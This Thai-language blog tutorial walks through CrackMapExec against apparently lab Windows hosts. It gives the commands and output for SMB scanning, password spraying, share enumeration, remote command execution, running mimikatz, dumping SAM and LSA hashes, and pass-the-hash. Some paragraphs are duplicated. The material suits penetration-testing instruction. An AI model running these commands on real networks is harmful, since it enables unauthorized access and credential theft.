สวัสดีครับผู้อ่าน วันเวลาเวียนบรรจบมาพบกันอีกครั้ง วันนี้จะมาพูดถึงโปรแกรม CrackMapExec หรือ CME ที่เขาเครมว่าเป็น Swiss Army Knife สำหรับการทำ Network Penetration Test ซึ่งถ้านับเอาจริง ๆ โปรแกรมนี้ก็มีมานานมากละ ถ้าใครอยู่ในสาย CyberSecurity ก็น่าจะเคยใช้งานกันมาบ้างหรืออย่างน้อยก็น่าจะผ่านหูผ่านตามาบ้าง โดยในช่วงนี้แอดก็อ่าน ๆ ดูอะไรไปเรื่อยก็เลยหยิบยกขึ้นมาเขียน เพราะว่าในหลาย ๆ สถานการณ์ที่อ่านเจอ ถ้าใช้เจ้าตัว CME จะสะดวกต่อการใช้งานมากกว่าก็เลยหยิบยกขึ้นมาพูดถึงซะหน่อยดีกว่า และผู้เขียนเองก็ชอบใช้ขณะที่เล่นกับระดับ System/Network ด้วย อีกเหตุผลหนึ่งก็เนื่องด้วยหัวข้อวิเคราะห์ช่องโหว่ที่คิดไว้พอมาอ่านดูดี ๆ ดันสั้นกระจิ๋วเดียว ถถถถ มาเข้าเรื่องกันเลยดีกว่า
โปรแกรม CrackMapExec หรือ CME ที่เขาให้นิยามตัวเองเอาไว้ว่าเป็น “A swiss army knife for pentesting networks” (https://github.com/byt3bl33d3r/CrackMapExec) ที่เอาไว้ใช้สำหรับทำ Network Penetration Testing ทั่วไปและ Red team ในขั้นตอนทั้ง Enumeration เล็ก ๆ น้อย ๆ ไปจบถึงการทำ Post-Exploitation ที่จะมี Module ต่าง ๆ เอาไว้ให้เลือกใช้ เช่น mimikatz, การ inject Shellcode ลง Memory, และการทำพวก Information Gathering บนเครื่องเป้าหมายหลังจากได้ Session แล้วด้วย Post-Exploit module ต่าง ๆ เป็นต้น รวมถึงสามารถ Integrate หรือทำงานร่วมกับโปรแกรมอื่นอย่าง Empire, Metasploit, และ Bloodhound ลืมบอกไปว่าโปรแกรม CME เนี้ยรองรับการใช้งานที่โปรโตคอล LDAP, SMB, WINRM, SSH, และ MSSQL เท่านั้น
การติดตั้งสามารถเลือกได้ตามความถนัดและสะดวกกันเลยมีทั้ง Docker, Binaries, Python Package, และ Clone ไปติดตั้งเอง
โดยวันนี้จะมาสาธิตการใช้งานคร่าว ๆ กัน โดยสามารถดูรายละเอียดการใช้งานแบบละเอียดได้ที่ wiki ของโปรเจ็ค
หรือถ้าจะดูแบบคร่าว ๆ ก็สามารถพิมพ์ ```cme –help``` ที่ Terminal ได้เลย
จากนั้นให้เราเลือกโปรโตคอลที่สนใจ (โดยในตัวอย่างนี้จะเลือกเป็น SMB) แล้วก็ตามด้วยคำสั่ง help อีกทีเพื่อแสดงรายละเอียดที่เราจะสามารถเรียกใช้เพื่อทดสอบที่โปรโตคอล SMB ได้
cme smb — help
ต่อมาที่ขั้นตอนการใช้งานเพื่อสแกนหาเครื่องที่เปิด SMB Service โดยเราสามารถกำหนด Target(s) ได้ในหลายรูปแบบทั้งการกำหนดไอพีเดียวตรง ๆ ระบุเป็น Range หรืออ่านจากไฟล์ เช่น
ต่อมาที่ขั้นตอนการใช้งานเพื่อสแกนหาเครื่องที่เปิด SMB Service โดยเราสามารถกำหนด Target(s) ได้ในหลายรูปแบบทั้งการกำหนดไอพีเดียวตรง ๆ ระบุเป็น Range หรืออ่านจากไฟล์ เช่น
cme smb 192.168.10.10cme smb 192.168.10.0/24cme smb ips.txt
ผลที่ได้ก็จะประมาณนี้ที่จะประกอบไปด้วยเครื่องที่เปิด SMB Service อยู่พร้อมกับ Hostname และข้อมูลจิปาถะที่ได้จากการ Enumerate มาจากพอร์ตที่เปิด
ต่อมาที่ขั้นตอนการใช้งานเพื่อสแกนหาเครื่องที่เปิด SMB Service โดยเราสามารถกำหนด Target(s) ได้ในหลายรูปแบบทั้งการกำหนดไอพีเดียวตรง ๆ ระบุเป็น Range หรืออ่านจากไฟล์ เช่น
cme smb 192.168.10.10cme smb 192.168.10.0/24cme smb ips.txt
ผลที่ได้ก็จะประมาณนี้ที่จะประกอบไปด้วยเครื่องที่เปิด SMB Service อยู่พร้อมกับ Hostname และข้อมูลจิปาถะที่ได้จากการ Enumerate มาจากพอร์ตที่เปิด
SMB 192.168.10.161 445 PC01 [*] Windows 10.0 Build 19041 x64 (name:PC01) (domain:bankcorp.local) (signing:False) (SMBv1:False)SMB 192.168.10.105 445 WIN2012 [*] Windows Server 2012 R2 Datacenter 9600 x64 (name:WIN2012) (domain:WIN2012) (signing:False) (SMBv1:True)
จากนั้นมาเราสามารถที่จะ Spray Brute Force ไปที่แต่ละไอพีได้ทั้งระบุชื่อ Username/Password หรือแบบอ่านจาก Dictionary ที่มีการได้เตรียมเอาไว้ได้ทั้งคู่เลย (นอกจากนี้ยังสามารถทำ Pass-the-Hash แบบ Spray ได้ด้วยเช่นกัน แต่จะไว้พูดถึงอีกที) ตัวอย่างเช่น
cme smb ips.txt -u users.txt -p "P@ssw0rd" --local-auth
ที่ด้านบนจะเป็นการ Brute Force ตามชื่อที่อยู่ในไฟล์ users.txt ส่วนรหัสผ่านจะกำหนดเอาไว้เลยว่าเป็นค่า “P@ssw0rd” ที่ local account ผลทีได้ก็จะแสดงผลประมาณนี้ว่าทดลองอะไรไปบ้าง และค่าไหนที่สำเร็จ
SMB 192.168.10.105 445 WIN2012 [*] Windows Server 2012 R2 Datacenter 9600 x64 (name:WIN2012) (domain:WIN2012) (signing:False) (SMBv1:True)SMB 192.168.10.161 445 PC01 [*] Windows 10.0 Build 19041 x64 (name:PC01) (domain:PC01) (signing:False) (SMBv1:False)SMB 192.168.10.161 445 PC01 [-] PC01\Windows:P@ssw0rd STATUS_LOGON_FAILURESMB 192.168.10.161 445 PC01 [-] PC01\Administrator:P@ssw0rd STATUS_LOGON_FAILURESMB 192.168.10.161 445 PC01 [-] PC01\WIN2012:P@ssw0rd STATUS_LOGON_FAILURESMB 192.168.10.161 445 PC01 [+] PC01\WIN10:P@ssw0rdSMB 192.168.10.105 445 WIN2012 [-] WIN2012\Windows:P@ssw0rd STATUS_LOGON_FAILURESMB 192.168.10.105 445 WIN2012 [-] WIN2012\Administrator:P@ssw0rd STATUS_LOGON_FAILURESMB 192.168.10.105 445 WIN2012 [+] WIN2012\WIN2012:P@ssw0rd
หลังจากนั้นก็มาลองดูกันต่อว่าภายในแต่ละเครื่องนั้นมีการแชร์อะไรไว้อยู่บ้าง ด้วยการเติม --shares
cme smb "192.168.10.161" -u "WIN10" -p "P@ssw0rd" --local-auth –shares
ผลที่ได้
SMB 192.168.10.161 445 PC01 [*] Windows 10.0 Build 19041 x64 (name:PC01) (domain:PC01) (signing:False) (SMBv1:False)SMB 192.168.10.161 445 PC01 [+] PC01\WIN10:P@ssw0rdSMB 192.168.10.161 445 PC01 [+] Enumerated sharesSMB 192.168.10.161 445 PC01 Share Permissions RemarkSMB 192.168.10.161 445 PC01 ----- ----------- ------SMB 192.168.10.161 445 PC01 ADMIN$ READ,WRITE Remote AdminSMB 192.168.10.161 445 PC01 C$ READ,WRITE Default shareSMB 192.168.10.161 445 PC01 IPC$ READ Remote IPCSMB 192.168.10.161 445 PC01 Share 2 U READ,WRITESMB 192.168.10.161 445 PC01 Users READ,WRITE
จากนั้นจะมาลอง Execute คำสั่งด้วย Options -x ที่เป็นคำสั่งผ่าน Command Prompt ปกติ และ -X สำหรับทำงานผ่าน PowerShell
cme smb 192.168.10.161 -u "WIN10" -p "P@ssw0rd" --local-auth -x ipconfigcme smb 192.168.10.161 -u "WIN10" -p "P@ssw0rd" --local-auth -X whoami
หรือจะให้ Execute คำสั่งผ่านรูปแบบอื่น ๆ เช่น smbexec,mmcexec,wmiexec,atexec โดย Default จะเป็น wmiexec
cme smb 192.168.10.161 -u "WIN10" -p "P@ssw0rd" --local-auth --exec-method smbexec -X ipconfig
จากนั้นจะลองใช้งาน Modules ทั้งหลายดู โดยเราสามารถที่จะแสดงรายการ Modules ที่สามารถใช้งานได้ผ่าน Option -L และ Options ของ Module ที่กำหนดด้วย –options
cme smb 192.168.10.161 -u "WIN10" -p "P@ssw0rd" --local-auth -Lcme smb 192.168.10.161 -u "WIN10" -p "P@ssw0rd" --local-auth -M mimikatz –options
ผลที่ได้ก็จะเหมือนกับเราใช้งาน Mimikatz ตามปกติเลย เพราะก็จะเป็นการเรียกใช้งาน PowerShell Invoke-Mimikatz ที่อยู่ใน PowerSploit
crackmapexec smb 192.168.10.161 -u "WIN10" -p "P@ssw0rd" --local-auth --samSMB 192.168.10.161 445 PC01 [*] Windows 10.0 Build 19041 x64 (name:PC01) (domain:PC01) (signing:False) (SMBv1:False)SMB 192.168.10.161 445 PC01 [+] PC01\WIN10:P@ssw0rd (Pwn3d!)SMB 192.168.10.161 445 PC01 [+] Dumping SAM hashesSMB 192.168.10.161 445 PC01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::SMB 192.168.10.161 445 PC01 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::SMB 192.168.10.161 445 PC01 DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::SMB 192.168.10.161 445 PC01 WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:5b173aafc47879ef0e37301498b3630c:::SMB 192.168.10.161 445 PC01 WIN10:1002:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::SMB 192.168.10.161 445 PC01 [+] Added 5 SAM hashes to the database
หลังจากที่เราได้ NTLM Hash ก็ลองนำมาใช้งาน Pass-the-Hash ต่อได้ในกรณีที่เราไม่ทราบ Password หรือยัง Crack ไม่เสร็จ โดยสามารถเรียกใช้งานผ่าน Option -U เพื่อแทนค่า Password ได้เลย ตัวอย่างเช่น
crackmapexec smb ips.txt -u "WIN10" -H "aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42" --local-auth
หรือจะทำการ Dump LSA Hash ก็สามารถทำได้โดยใช้ option –lsa เท่านั้น
crackmapexec smb 192.168.10.161 -u "WIN10" -p "P@ssw0rd" --local-auth --lsa
และนอกจากที่ได้พูดถึงไปแล้วนั้นก็ยังมีฟีเจอร์ต่าง ๆ อีกมากมายที่อำนวยความสะดวกต่อการทำ Network Pentest หรือ การทำ Red Team อย่างการทำงานร่วมกับ Empire และการ Export Data ไปใส่ Bloodhound รวมถึงการใช้งาร่วมกับพวก Kerberos Authentication โดยหวังว่าบทความนี้จะเป็นประโยชน์ไม่มากก็น้อย ถ้าชอบทริปเทคนิคต่าง ๆ ทางด้าน CyberSecurity ฝากกดติดตามที่เพจเพื่อติดตามรับข่าวสารกันด้วยนะครับ 🙏